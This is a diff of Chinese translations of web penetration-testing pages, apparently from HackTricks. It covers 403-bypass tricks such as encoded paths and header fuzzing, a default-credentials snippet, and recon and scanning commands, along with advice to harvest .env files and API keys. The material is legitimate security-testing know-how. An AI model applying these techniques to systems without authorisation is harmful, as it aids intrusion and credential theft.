|
||||
- 如果页面在 **代理后面**，可能是代理阻止你访问私有信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/index.html) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
- 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
|
||||
- **在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头**。
|
||||
- **模糊测试特殊 HTTP 头** 的同时模糊测试 **HTTP 方法**。
|
||||
- **移除 Host 头**，也许你将能够绕过保护。
|
||||
|
||||
## 路径 **模糊测试**
|
||||
|
||||
如果 _/path_ 被阻止：
|
||||
|
||||
- 尝试使用 _**/**_**%2e/path \_（如果访问被代理阻止，这可能绕过保护）。也尝试**\_\*\* /%252e\*\*/path（双重 URL 编码）
|
||||
- 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止，这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path（双重 URL 编码）
|
||||
- 尝试 **Unicode 绕过**： _/**%ef%bc%8f**path_（URL 编码字符类似于 "/"），因此当重新编码时将变为 _//path_，也许你已经绕过了 _/path_ 名称检查
|
||||
- **其他路径绕过**：
|
||||
- site.com/secret –> HTTP 403 Forbidden
|
||||
@ -87,13 +87,13 @@
|
||||
## **其他绕过**
|
||||
|
||||
- 获取域的 **IP** 或 **CNAME** 并尝试 **直接联系**。
|
||||
- 尝试 **施压服务器** 发送常见的 GET 请求 ([这个人用 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- 尝试 **施压服务器** 发送常见的 GET 请求 ([这个人用 Facebook 成功了](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- **更改协议**：从 http 到 https，或从 https 到 http
|
||||
- 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**。
|
||||
|
||||
## **暴力破解**
|
||||
|
||||
- **猜测密码**：测试以下常见凭据。你对受害者了解些什么吗？或者 CTF 挑战的名称？
|
||||
- **猜测密码**：测试以下常见凭据。你对受害者了解些什么？或者 CTF 挑战的名称？
|
||||
- [**暴力破解**](../../generic-hacking/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 认证。
|
||||
```:Common creds
|
||||
admin admin
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
网络服务是最 **常见和广泛的服务**，并且存在许多 **不同类型的漏洞**。
|
||||
Web服务是最**常见和广泛的服务**，并且存在许多**不同类型的漏洞**。
|
||||
|
||||
**默认端口：** 80 (HTTP)，443(HTTPS)
|
||||
```bash
|
||||
@ -17,44 +17,44 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API 指导
|
||||
### Web API Guidance
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## 方法论总结
|
||||
## Methodology summary
|
||||
|
||||
> 在这个方法论中，我们假设你将攻击一个域（或子域）而仅此而已。因此，你应该将此方法论应用于每个发现的域、子域或具有不确定网络服务器的 IP。
|
||||
> 在这个方法论中，我们假设你将攻击一个域（或子域）而仅此而已。因此，你应该将此方法论应用于每个发现的域、子域或具有不确定网络服务器的IP。
|
||||
|
||||
- [ ] 首先**识别**网络服务器使用的**技术**。寻找**技巧**，以便在测试的其余部分中牢记，如果你能成功识别技术。
|
||||
- [ ] 该技术版本是否有任何**已知漏洞**？
|
||||
- [ ] 使用任何**知名技术**？有没有**有用的技巧**来提取更多信息？
|
||||
- [ ] 是否有任何**专业扫描器**可以运行（如 wpscan）？
|
||||
- [ ] 使用任何**知名技术**吗？有没有**有用的技巧**来提取更多信息？
|
||||
- [ ] 有任何**专业扫描器**可以运行（如wpscan）吗？
|
||||
- [ ] 启动**通用扫描器**。你永远不知道它们是否会发现某些东西或找到一些有趣的信息。
|
||||
- [ ] 从**初始检查**开始：**robots**、**sitemap**、**404** 错误和 **SSL/TLS 扫描**（如果是 HTTPS）。
|
||||
- [ ] 从**初始检查**开始：**robots**、**sitemap**、**404**错误和**SSL/TLS扫描**（如果是HTTPS）。
|
||||
- [ ] 开始**爬取**网页：是时候**查找**所有可能的**文件、文件夹**和**使用的参数**。同时，检查**特殊发现**。
|
||||
- [ ] _注意，在暴力破解或爬取过程中发现新目录时，应进行爬取。_
|
||||
- [ ] **目录暴力破解**：尝试暴力破解所有发现的文件夹，寻找新的**文件**和**目录**。
|
||||
- [ ] _注意，在暴力破解或爬取过程中发现新目录时，应进行暴力破解。_
|
||||
- [ ] **备份检查**：测试是否可以通过附加常见备份扩展名找到**发现的文件**的**备份**。
|
||||
- [ ] **暴力破解参数**：尝试**查找隐藏参数**。
|
||||
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**，检查与之相关的各种**漏洞**。
|
||||
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**，检查与之相关的所有类型的**漏洞**。
|
||||
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## 服务器版本（易受攻击？）
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### 识别
|
||||
### Identify
|
||||
|
||||
检查运行的服务器**版本**是否有**已知漏洞**。\
|
||||
**HTTP 响应的头部和 cookies**可能非常有用，以**识别**所使用的**技术**和/或**版本**。**Nmap 扫描**可以识别服务器版本，但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)或 [**https://builtwith.com/**](https://builtwith.com)** 也可能有用：
|
||||
检查正在运行的服务器**版本**是否有**已知漏洞**。\
|
||||
**HTTP响应的头部和cookie**可能非常有用，以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本，但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用：**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
搜索 **web 应用程序的漏洞版本**
|
||||
搜索 **web 应用程序的漏洞版本** [**vulnerabilities of the web application version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **检查是否有 WAF**
|
||||
|
||||
@ -69,9 +69,9 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
- [**Artifactory**](artifactory-hacking-guide.md)
|
||||
- [**Buckets**](buckets/)
|
||||
- [**Buckets**](buckets/index.html)
|
||||
- [**CGI**](cgi.md)
|
||||
- [**Drupal**](drupal/)
|
||||
- [**Drupal**](drupal/index.html)
|
||||
- [**Flask**](flask.md)
|
||||
- [**Git**](git.md)
|
||||
- [**Golang**](golang.md)
|
||||
@ -86,31 +86,31 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php 有很多有趣的技巧可以被利用)**](php-tricks-esp/)
|
||||
- [**PHP (php 有很多有趣的技巧可以被利用)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
- [**Tomcat**](tomcat/)
|
||||
- [**Tomcat**](tomcat/index.html)
|
||||
- [**VMWare**](vmware-esx-vcenter....md)
|
||||
- [**Web API Pentesting**](web-api-pentesting.md)
|
||||
- [**WebDav**](put-method-webdav.md)
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS 到 RCE)**](electron-desktop-apps/)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_请注意，**同一域**可能在不同的 **端口**、**文件夹**和 **子域**中使用 **不同的技术**。_\
|
||||
如果 web 应用程序使用了任何知名的 **技术/平台**，或者 **其他任何技术**，请不要忘记 **在互联网上搜索** 新的技巧（并告诉我！）。
|
||||
_请注意，**同一域名**可能在不同的**端口**、**文件夹**和**子域名**中使用**不同的技术**。_\
|
||||
如果 web 应用程序使用了之前列出的任何知名 **技术/平台** 或 **其他**，请不要忘记 **在互联网上搜索** 新的技巧（并告诉我！）。
|
||||
|
||||
### 源代码审查
|
||||
|
||||
如果应用程序的 **源代码** 在 **github** 上可用，除了进行 **自己的白盒测试** 外，还有 **一些信息** 可能对当前的 **黑盒测试** **有用**：
|
||||
如果应用程序的 **源代码** 在 **github** 上可用，除了进行 **自己的白盒测试** 外，还有一些 **信息** 可能对当前的 **黑盒测试** **有用**：
|
||||
|
||||
- 是否有 **变更日志、Readme 或版本** 文件，或任何可以通过网络访问的 **版本信息**？
|
||||
- 是否有 **变更日志或自述文件或版本** 文件或任何可以通过网络访问的 **版本信息**？
|
||||
- **凭据** 是如何保存的？是否有任何（可访问的？）**文件** 包含凭据（用户名或密码）？
|
||||
- **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**？
|
||||
- 是否使用了任何 **主密钥** 来加密某些内容？使用了哪种 **算法**？
|
||||
- 你能否通过利用某个漏洞 **访问这些文件**？
|
||||
- 在 **github** 上是否有任何 **有趣的信息**（已解决和未解决的） **问题**？或者在 **提交历史** 中（也许某个 **旧提交** 中引入的 **密码**）？
|
||||
- 在 **github** 上是否有任何 **有趣的信息**（已解决和未解决的） **问题**？或者在 **提交历史** 中（也许某个 **旧提交中引入的密码**）？
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -132,13 +132,13 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### CMS 扫描器
|
||||
|
||||
如果使用了 CMS，别忘了 **运行扫描器**，也许会发现一些有价值的信息：
|
||||
如果使用了 CMS，不要忘记 **运行扫描器**，也许会发现一些有价值的信息：
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **或** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **或** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
@ -149,7 +149,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
## 逐步网络应用发现
|
||||
|
||||
> 从这一点开始，我们将开始与网络应用程序互动。
|
||||
> 从这一点开始，我们将开始与网络应用进行交互。
|
||||
|
||||
### 初始检查
|
||||
|
||||
@ -168,22 +168,22 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
|
||||
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
|
||||
- 通过在**URL**的**末尾**提供输入为**`/~randomthing/%s`**来生成错误
|
||||
- 通过在**URL**的**末尾**提供输入为 **`/~randomthing/%s`** 来生成错误
|
||||
- 尝试**不同的HTTP动词**如 PATCH、DEBUG 或错误的如 FAKE
|
||||
|
||||
#### **检查您是否可以上传文件（**[**PUT动词，WebDav**](put-method-webdav.md)**）**
|
||||
#### **检查您是否可以上传文件 (**[**PUT动词，WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**，请尝试：
|
||||
|
||||
- **暴力破解**凭据
|
||||
- 通过WebDav向网页中**找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件。
|
||||
- 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
|
||||
|
||||
### **SSL/TLS漏洞**
|
||||
|
||||
- 如果应用程序在任何部分**不强制用户使用HTTPS**，那么它**容易受到中间人攻击（MitM）**
|
||||
- 如果应用程序**使用HTTP发送敏感数据（密码）**，那么这是一个高风险漏洞。
|
||||
|
||||
使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**（在Bug Bounty程序中，这类漏洞可能不会被接受），并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞：
|
||||
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查**漏洞**（在漏洞赏金计划中，这类漏洞可能不会被接受），并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 重新检查漏洞：
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -194,6 +194,9 @@ sslyze --regular <ip:port>
|
||||
```
|
||||
关于SSL/TLS漏洞的信息：
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### 爬虫
|
||||
|
||||
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此，应使用网络爬虫和外部来源来找到尽可能多的有效路径。
|
||||
@ -203,42 +206,42 @@ sslyze --regular <ip:port>
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫，也指示“美味文件”。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 这个工具不是爬虫，但它可能有用。您只需指示一个包含主机的文件和一个包含路径的文件，meg将获取每个主机上的每个路径并保存响应。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 带有JS渲染功能的HTML爬虫。然而，它似乎没有维护，预编译版本较旧，当前代码无法编译。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而，它似乎没有维护，预编译版本较旧，当前代码无法编译。
|
||||
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者（wayback, otx, commoncrawl）的HTML爬虫。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): 带有JS渲染功能的HTML爬虫。
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫，具有JS美化功能，能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得，它是LinkFinder的一个包装器。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫，具有JS美化能力，能够在JS文件中搜索新路径。值得一提的是[JSScanner](https://github.com/dark-warlord14/JSScanner)，它是LinkFinder的一个包装器。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件（HTML），它将使用巧妙的正则表达式从丑陋（压缩）文件中提取相对URL。
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具，结合了之前工具的多个选项。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具，结合了前面工具的多个选项。
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展，用于查找JS文件中的路径和参数。
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具，给定.js.map URL将获取美化的JS代码。
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 这是一个用于发现给定目标的端点的工具。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从时光机发现链接（还下载时光机中的响应并寻找更多链接）。
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取（甚至通过填写表单）并使用特定正则表达式查找敏感信息。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/爬虫，专为网络安全专业人员设计。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛，专为网络安全专业人员设计。
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)，用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**，用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**，用于**提取请求中的参数和端点**，以创建自定义字典进行模糊测试和枚举。
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
|
||||
|
||||
### 暴力破解目录和文件
|
||||
|
||||
从根文件夹开始**暴力破解**，确保使用**此方法**暴力破解**所有**找到的**目录**以及**爬虫**发现的所有目录（您可以递归地进行此暴力破解，并在使用的字典开头附加找到的目录名称）。\
|
||||
从根文件夹开始**暴力破解**，确保使用**此方法**暴力破解**所有找到的**目录，以及通过**爬虫**发现的所有目录（您可以递归地进行此暴力破解，并在使用的字典开头附加找到的目录名称）。\
|
||||
工具：
|
||||
|
||||
- **Dirb** / **Dirbuster** - 包含在Kali中，**旧**（和**慢**）但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自动签名证书，但**允许递归搜索。
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书，但**没有**递归搜索。
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 不允许自动签名证书，但**允许递归搜索。
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 允许自动签名证书，**不**具有**递归**搜索。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速，支持递归搜索。**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫，而是一个工具，给定找到的URL列表将删除“重复”的URL。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展，用于从不同页面的burp历史记录中创建目录列表。
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫，而是一个工具，给定找到的URL列表，将删除“重复”的URL。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展，用于从不同页面的Burp历史记录中创建目录列表。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL（基于js导入）。
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
|
||||
|
||||
@ -265,36 +268,36 @@ _注意，在暴力破解或爬虫过程中发现新目录时，应进行暴力
|
||||
|
||||
### 检查每个找到的文件
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找可能容易被接管的HTML中的断开链接。
|
||||
- **文件备份**: 一旦找到所有文件，查找所有可执行文件的备份（"_.php_", "_.aspx_"...）。备份命名的常见变体有：_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以，您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中可能容易被接管的断开链接。
|
||||
- **文件备份**: 一旦找到所有文件，查找所有可执行文件的备份（"_.php_", "_.aspx_"...）。备份命名的常见变体有：_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以，您可以尝试在每个可执行的网页文件中搜索**隐藏参数。
|
||||
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **评论:** 检查所有文件的评论，您可以找到**凭据**或**隐藏功能**。
|
||||
- 如果您正在进行**CTF**，一个“常见”的技巧是**隐藏** **信息**在页面的**右侧**的评论中（使用**数百个** **空格**，以便在使用浏览器打开源代码时看不到数据）。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||
- **API密钥**: 如果您**找到任何API密钥**，有一个指南指示如何使用不同平台的API密钥：[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- 如果您在进行**CTF**，一个“常见”技巧是**隐藏** **信息**在页面的**右侧**的评论中（使用**数百个** **空格**，以便在使用浏览器打开源代码时看不到数据）。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||
- **API密钥**: 如果您**找到任何API密钥**，有指南指示如何使用不同平台的API密钥：[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik的API密钥，您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
|
||||
- **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下，[**检查**存储桶的**权限**](buckets/)。
|
||||
- **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下，[**检查**存储桶的**权限**](buckets/index.html)。
|
||||
|
||||
### 特殊发现
|
||||
|
||||
**在**执行**爬虫**和**暴力破解**时，您可能会发现**有趣的** **事物**，您必须**注意**。
|
||||
**在**执行**爬虫**和**暴力破解**时，您可能会发现**有趣的** **事物**，您需要**注意**。
|
||||
|
||||
**有趣的文件**
|
||||
|
||||
- 查找**CSS**文件中指向其他文件的**链接**。
|
||||
- [如果您找到一个_**.git**_文件，可以提取一些信息](git.md)
|
||||
- 如果您找到一个_**.env**_文件，可以找到API密钥、数据库密码和其他信息。
|
||||
- 如果您找到**API端点**，您[还应该测试它们](web-api-pentesting.md)。这些不是文件，但可能“看起来像”它们。
|
||||
- [如果您找到一个 _**.git**_ 文件，可以提取一些信息](git.md)
|
||||
- 如果您找到一个 _**.env**_ 文件，可以找到API密钥、数据库密码和其他信息。
|
||||
- 如果您找到**API端点**，您[也应该测试它们](web-api-pentesting.md)。这些不是文件，但可能“看起来像”它们。
|
||||
- **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外，监控每个找到的JS文件也很有趣，因为在某些情况下，变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件，以查找是否存在漏洞。
|
||||
- **JavaScript去混淆和解包:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **JavaScript去混淆和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck去混淆** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- 在多个场合，您需要**理解使用的正则表达式**。这将很有用：[https://regex101.com/](https://regex101.com)或[https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- 在多个场合，您需要**理解使用的正则表达式**。这将很有用：[https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
